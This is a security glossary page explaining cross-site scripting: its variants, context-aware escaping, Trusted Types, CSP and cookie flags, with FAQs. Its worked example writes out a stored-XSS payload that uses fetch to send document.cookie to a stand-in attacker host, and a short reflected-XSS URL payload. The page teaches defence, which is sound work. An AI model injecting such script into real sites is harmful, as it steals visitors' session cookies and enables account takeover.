Skip to content

Glossary

XSS

Cross-Site Scripting

By Published Updated

XSS (Cross-Site Scripting — the X is a historical typo that stuck) is an injection attack where attacker-controlled JavaScript runs in a victim’s browser in the context of a trusted site. Three variants:

  • Reflected XSS — attacker crafts a URL containing JavaScript; victim clicks; the site echoes the URL parameter back unescaped, and the script runs. Example: ?search=<script>evil()</script>.
  • Stored XSS — attacker submits malicious content (a comment, a profile bio) that the site stores and later renders unescaped to other users. Worse than reflected because it auto-fires for every visitor.
  • DOM-based XSS — script runs purely on the client, with the malicious content never touching the server. Often via document.write, innerHTML, or unsafe handling of URL fragments.

Defences: contextual output encoding (HTML-escape on render, JS-escape inside script blocks, URL-encode for href). Content Security Policy (CSP) headers as defence-in-depth. Template engines that auto-escape (Jinja, ERB, React JSX) eliminate most reflected and stored XSS by default.

XSS remains in the OWASP Top 10 not because the fix is hard, but because it’s easy to bypass auto-escaping with dangerouslySetInnerHTML-style escape hatches and one forgotten place ruins the whole defence.

The context-sensitivity nobody respects: HTML-escaping (&lt; for <) is correct for inserting user content into HTML body text. It’s wrong everywhere else. Inside a <script> block, you need JavaScript string escaping. Inside an href= attribute, you need URL encoding plus a javascript:-scheme block. Inside a CSS style=, you need a different escape that strips CSS expressions. Inside an event handler attribute (onclick=), you need both HTML escaping and JS escaping nested. Templating engines that “just HTML-escape everything” quietly miss attribute, URL, and event-handler contexts — DOMPurify or a context-aware library handles the full set.

Trusted Types — the Chrome-led modern defence: Trusted Types (W3C Working Draft, shipped in Chrome since 83) is a browser API that refuses to accept raw strings in injection sinks like innerHTML, document.write, or setAttribute. Code must either explicitly mark a value as “trusted” through a sanitiser, or the assignment throws a TypeError. Enabled via Content-Security-Policy: require-trusted-types-for 'script', this effectively makes every potential XSS sink a compile-time error rather than a runtime vulnerability. Adoption is still gradual but the security trajectory of new web frameworks is clearly toward Trusted Types compatibility. Reference: OWASP — Cross-site Scripting (XSS).

Worked example

A blog accepts a comment and renders <div>{comment}</div> server-side without escaping. Attacker submits <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Every subsequent visitor loads the page, the script runs in the blog’s origin, and their session cookie is exfiltrated. Mitigation in three layers: (1) HTML-escape the comment on render so < becomes &lt; — the script renders as literal text. (2) Set the cookie with HttpOnly; Secure; SameSite=Strict so even if XSS lands, the cookie isn’t reachable from JavaScript. (3) Deploy a strict CSP: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — inline scripts without the matching nonce are blocked, so an injected <script> tag can’t execute even if escaping fails. Defence in depth: any one layer would have stopped the attack; together they make the bug class nearly extinct.

When and why it matters

XSS is the workhorse vulnerability of credential theft, session hijack, and one-click takeover. The 2018 British Airways breach (380,000 card details exfiltrated), the 2018 Ticketmaster breach, and the long-running Magecart series all started as XSS or supply-chain-script-injection variants. The good news is that modern frameworks (React, Vue, Angular, Svelte) auto-escape interpolated values by default — the bug class is much rarer in greenfield code than it was a decade ago. The bad news is that every framework provides an escape hatch (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}) that a tired developer inevitably reaches for, often to inject CMS-authored content or third-party widgets. The defensive playbook: enable CSP with nonces or hashes, set HttpOnly on session cookies, use DOMPurify for any case where you must accept HTML, and audit grep results for the framework’s escape-hatch APIs at PR time. Reference: OWASP XSS Prevention Cheat Sheet.

Frequently asked questions

What is XSS (Cross-Site Scripting)?
XSS is a web security vulnerability where an attacker injects malicious JavaScript into content that is then rendered by a victim's browser in the context of a trusted site, allowing the script to steal cookies, capture keystrokes, or perform actions as the logged-in user.
What are the three types of XSS in practice?
Reflected XSS: the payload is in the URL and returned in the response immediately. Stored XSS: the payload is saved to a database (e.g. a comment) and rendered for every subsequent visitor. DOM XSS: client-side JavaScript writes attacker-controlled data into the DOM without sanitisation.
What is the difference between XSS and CSRF?
XSS injects and executes malicious code in the victim's browser from within a trusted site -- the attacker controls what runs. CSRF tricks a logged-in user's browser into making unintended requests to a trusted site using the user's own credentials -- the site's own code runs, just with forged intent.

Related

Published May 15, 2026 · Last reviewed May 31, 2026